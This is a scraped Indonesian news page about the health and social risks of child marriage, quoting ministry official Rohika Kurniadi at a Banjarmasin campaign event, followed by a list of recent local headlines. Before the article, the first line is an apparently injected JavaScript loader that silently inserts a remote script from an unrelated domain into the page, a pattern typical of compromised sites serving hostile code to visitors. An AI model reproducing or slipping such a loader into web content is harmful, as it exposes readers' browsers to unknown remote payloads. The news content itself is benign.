(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Perkawinan Anak Ternyata Sangat Beresiko, Ini Beberapa Dampak Buruknya


BANJARMASIN, Perkawinan anak memiliki dampak negatif bukan hanya pada yang bersangkutan, tetapi secara umum pada penurunan  Indeks  Pembangunan  Manusia  (IPM). Hal ini sebagaimana disampaikan oleh Asisten Deputi Menteri Bidang Tumbuh Kembang Anak Kementerian Pemberdayaan Perempuan dan Perlindungan Anak, Rohika Kurniadi.

“Dampak  paling  fatal  dalam  perkawinan  usia  anak  adalah  kehamilan  dan  persalinan dini,  karena  berhubungan  dengan  Angka  Kematian  Ibu  (AKI)  yang  tinggi  dan keadaan  tidak  normal  bagi  ibu  yang  belum  sepenuhnya  matang  untuk  melahirkan,” jelasnya dalam acara Kampanye Stop Perkawinan Anak, di Gedung Mahligai Pancasila, Rabu (13/12).

Dia mengatakan, anak  perempuan  usia  10-14  tahun  memiliki  risiko  5 x lebih  besar  untuk meninggal  dalam  kasus  kehamilan  dan  persalinan  daripada  perempuan  usia  20-24 tahun. Dan secara global,  kematian  yang  disebabkan  oleh  kehamilan  terjadi  pada anak  perempuan  usia  15-19  tahun.

“Sebelum membenahi  masalah  AKI  dan  AKB  yang  tinggi,  meningkatkan  kualitas  pendidikan dan  IPM  Indonesia,  seharusnya  kita  benahi  inti  dari  permasalahan  tersebut  terlebih dahulu,  yaitu perkawinan anak,” terang Rohika Kurniadi.

Menurut  dia,  walaupun  terjadi  penurunan  kasus perkawinan  anak  yang  di  tahun  2013  sekitar  43,19%  dan  berkurang  menjadi  34,23%  di tahun  2014.  Penurunan  ini secara  kuantitatif  belum  terlihat  signifikan.

Resiko  lain  yang  tidak  dapat  diabaikan  adalah  hilangnya  kesempatan  untuk mendapatkan  pendidikan,  resiko  ancaman  dari  penyakit  reproduksi  seperti  kanker servick,  kanker  payudara  dan  juga  hidup  dalam  kegaduhan  keluarga  karena ketidaksiapan  mental  mereka  dalam  membangun  keluarga,  sehingga  menimbulkan perceraian

Melindungi  anak  dari  praktik  perkawinan  ini  tidak  hanya  menjadi  tanggung  jawab KPPPA  saja,  namun  membutuhkan  peran  serta  dari  empat pilar  pembangunan  yaitu lembaga  masyarakat,  dunia  usaha,  maupun  media massa.

“Peran  serta  masyarakat  sangat  diperlukan,  hal  ini sesuai  dengan  mandat  dari  Undang-Undang  No.23  Tahun  2002  dan  UndangUndang  No.35  Tahun  2014  tentang  Perubahan  Atas  UU  No.23  Tahun  2002  tentang Perlindungan  Anak  dalam  Pasal  72  yang  disebutkan  bahwa  masyarakat  berperan serta  dalam  perlindungan  anak,  baik  secara perseorangan  maupun  kelompok”  imbuh Rohika.
KPPPA  telah  melakukan  sejumlah  upaya  untuk  menghentikan  pernikahan  anak salah  satunya  diintegrasikan  lewat  program  Kabupaten  dan  Kota  Layak  Anak. Terdapat  31  indikator  yang  dijabarkan  dari  konvensi  hak  anak yang  harus  dipenuhi  untuk  menjadi  kota  layak  anak.  Salah  satunya, angka  usia  perkawinan  pertama  di  bawah  18  tahun. (achi)


Desy Arfianty

Recent Posts

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

45 menit ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

58 menit ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

1 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

1 jam ago

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

1 jam ago

Laga Terakhir Timnas Indonesia Berharap Juara Ketiga Piala Asia U-23

KANALKALIMANTAN.COM, BANJARBARU - Tim Nasional (Timnas) Indonesia U-23 dipastikan gagal melaju ke final Piala Asia… Read More

4 jam ago

This website uses cookies.